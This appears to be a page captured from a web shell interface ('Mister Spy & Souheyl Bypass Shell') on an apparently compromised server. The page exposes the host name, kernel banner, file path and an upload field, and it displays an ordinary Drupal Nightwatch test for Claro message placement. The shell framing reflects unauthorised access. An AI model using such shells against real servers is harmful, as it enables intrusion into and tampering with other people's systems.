Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/core/tests/Drupal/Nightwatch/Tests/Claro/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/core/tests/Drupal/Nightwatch/Tests/Claro/claroDrupalMessageTest.js

const mainContent = '.region-content';
const mainMessagesContainer =
  '[data-drupal-messages] > .messages-list__wrapper';
const secondaryMessagesContainer = '[data-drupal-messages-other]';

const mainButtons = {
  addStatus: '#add--status',
  removeStatus: '#remove--status',
  addError: '#add--error',
  removeError: '#remove--error',
  addWarning: '#add--warning',
  removeWarning: '#remove--warning',
  clearAll: '#clear-all',
};

const secondaryButtons = {
  addStatus: '[id="add-[data-drupal-messages-other]-status"]',
  removeStatus: '[id="remove-[data-drupal-messages-other]-status"]',
  addError: '[id="add-[data-drupal-messages-other]-error"]',
  removeError: '[id="remove-[data-drupal-messages-other]-error"]',
  addWarning: '[id="add-[data-drupal-messages-other]-warning"]',
  removeWarning: '[id="remove-[data-drupal-messages-other]-warning"]',
};

module.exports = {
  '@tags': ['core', 'claro'],
  before(browser) {
    browser
      .drupalInstall()
      .drupalInstallModule('js_message_test')
      .drupalEnableTheme('claro');
  },
  after(browser) {
    browser.drupalUninstall();
  },
  'Verify default placement of javascript-created messages': (browser) => {
    browser
      .drupalRelativeURL('/js_message_test_link_with_system_messages')
      .waitForElementVisible(mainContent)
      .assert.elementPresent(mainMessagesContainer)

      // We should load 3 messages on page load from \Drupal::messenger()
      .assert.elementCount(`${mainMessagesContainer} > .messages-list__item`, 3)

      // We should have one message of each type
      .assert.elementCount(`${mainMessagesContainer} > .messages--status`, 1)
      .assert.elementCount(`${mainMessagesContainer} > .messages--warning`, 1)
      .assert.elementCount(`${mainMessagesContainer} > .messages--error`, 1)

      // Trigger new messages via javascript
      .click(mainButtons.addStatus)
      .click(mainButtons.addWarning)
      .click(mainButtons.addError)

      // We should have 6 total messages
      .assert.elementCount(`${mainMessagesContainer} > .messages-list__item`, 6)

      // We should have 2 messages of each type
      .assert.elementCount(`${mainMessagesContainer} > .messages--status`, 2)
      .assert.elementCount(`${mainMessagesContainer} > .messages--warning`, 2)
      .assert.elementCount(`${mainMessagesContainer} > .messages--error`, 2);
  },

  'Verify customized placement of javascript-created messages': (browser) => {
    browser
      .drupalRelativeURL('/js_message_test_link_with_system_messages')
      .waitForElementVisible(mainContent)
      .assert.elementPresent(secondaryMessagesContainer)

      // We should load 3 messages on page load from \Drupal::messenger()
      .assert.elementCount(
        `${secondaryMessagesContainer} > .messages-list__item`,
        0,
      )

      // Trigger new messages via javascript
      .click(secondaryButtons.addStatus)
      .click(secondaryButtons.addWarning)
      .click(secondaryButtons.addError)

      // We should have 6 total messages
      .assert.elementCount(
        `${secondaryMessagesContainer} > .messages-list__item`,
        3,
      )

      // We should have 2 messages of each type
      .assert.elementCount(
        `${secondaryMessagesContainer} > .messages--status`,
        1,
      )
      .assert.elementCount(
        `${secondaryMessagesContainer} > .messages--warning`,
        1,
      )
      .assert.elementCount(
        `${secondaryMessagesContainer} > .messages--error`,
        1,
      );
  },
};

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net